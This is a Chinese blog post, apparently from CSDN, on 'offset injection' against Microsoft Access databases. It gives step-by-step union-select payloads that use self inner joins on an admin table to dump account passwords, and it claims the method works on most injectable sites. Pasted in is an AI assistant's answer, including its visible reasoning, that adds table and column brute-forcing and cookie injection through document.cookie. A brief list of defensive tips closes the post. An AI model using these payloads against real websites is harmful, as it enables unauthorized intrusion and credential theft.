Access数据库高级偏移注入

本文深入探讨了SQL注入攻击中的一种技巧,通过逐步增加字段数量来确定数据库表的字段数目,利用union select语句和内连接操作减少字段数量,直至爆破出账号密码。此方法适用于90%的注入网站,但受限于必须存在id字段的情况。

注入语句:
1、进行偏移检测
http://xxx?Id=3 union select 1,2,3,4,5,6,7,8,9,10,11,12,
from admin
2、* from (admin as a inner join admin as b on a.id=b.id)用这里的替换一下,减少字段的数量只到网页返回正确就可能爆出账号密码
3、a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
4、a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
从1-4一步一步的尝试
此方法解决90%注入得到表,得不到字段的网站,但是条件有局限,必须要有id,有些偏移不出来
如一个网站有13个字段 order by 13 正确 14错误
http://xxx?Id=3 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from admin(猜解的表名)

<think>嗯,用户想了解Access数据库注入的具体方式。根据提供的五个引用材料,我需要系统地整理攻击手法。 用户的问题很明确,直接询问注入方式。引用[2]提到了联合查询法和逐字猜解法两种基础手法。引用[3]则详细描述了偏移注入这种高级技术,特别适用于字段名未知的情况。引用[5]补充了cookie注入这种特殊场景下的操作方式。 考虑到用户可能是安全研究人员或渗透测试人员,我决定按攻击场景分类呈现:常规注入部分保留经典的联合查询和逐字猜解;高级技巧重点说明偏移注入的原理;特殊场景则强调cookie注入的实现方法。这样分层叙述能帮助用户根据实际环境选择技术路径。 技术细节上需要特别注意:引用[3]指出偏移注入的核心是利用admin.*代替字段名,通过逐步调整select字段位置来定位数据;引用[5]则提供了两种设置cookie的实操方式。这些关键点都要在回答中强调。 最后准备的相关问题既要覆盖技术延伸(如防护措施),也要考虑实战需求(如工具推荐)。用户如果是初学者可能会关心"判断数据库类型"这类前置步骤,专业人员则更关注"现代系统防护"这样的深度议题。 安全提醒是必要的补充。虽然用户没明确要求,但所有注入技术都应强调仅限授权测试使用。 </think> 根据提供的参考资料,Access数据库注入主要有以下几种攻击方式: --- ### 一、常规注入方式 1. **联合查询法(Union Select)** - 判断注入点后,通过 `order by` 确定字段数,再使用 `union select` 联合查询获取数据。 - **关键步骤**: - 猜解表名(如 `admin`、`user`) - 猜解列名(如 `username`、`password`) - 最终语句:`union select 1,username,password from admin` > *适用场景:已知表名和列名时高效提取数据[^2][^4]。* 2. **逐字猜解法(暴力枚举)** - 当表名/列名未知时,通过字典暴力枚举: - 猜表名:`and exists(select * from 表名)` - 猜列名:`and exists(select 列名 from 表名)` - 配合工具(如Burp Suite)自动化爆破。 > *特点:Access无系统表,依赖暴力猜解[^2][^3]。* --- ### 二、高级技巧:偏移注入 **适用场景**:已知表名但字段名未知。 **原理**:利用Access的查询特性,通过多次偏移定位数据。 **步骤**: 1. 查询表内字段总数:`order by N`(直到报错) 2. 构造偏移查询: ```sql union select 1,2,* from (admin as a inner join admin as b on a.id=b.id) -- 首次偏移 union select 1,2,3,4,* from (admin as a inner join admin as b on a.id=b.id) -- 增加字段逐步偏移 ``` 3. 通过页面显错位确定敏感数据位置。 > *关键:利用 `admin.*` 代替未知字段名,通过调整select字段数逐步逼近目标数据。* --- ### 三、特殊场景:Cookie注入 **条件**:参数通过Cookie传递(如ASP系统)。 **操作**: 1. 修改Cookie值:`document.cookie="id="+escape("1 and 1=1")`(浏览器控制台) 2. 或使用工具(如Burp)拦截修改Cookie。 > *特点:绕过前端验证,直接针对后端SQL逻辑[^5]。* --- ### 四、其他技术要点 1. **数据库类型判断**: - Access特有报错:`"Microsoft JET Database Engine"` - 函数差异:`len()`(Access) vs `length()`(MySQL) 2. **数据提取限制**: - Access联合查询字段数必须一致,需用 `null` 补齐。 --- ### 防护建议 - 过滤特殊字符(如单引号、括号) - 使用参数化查询 - 避免暴露错误信息 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值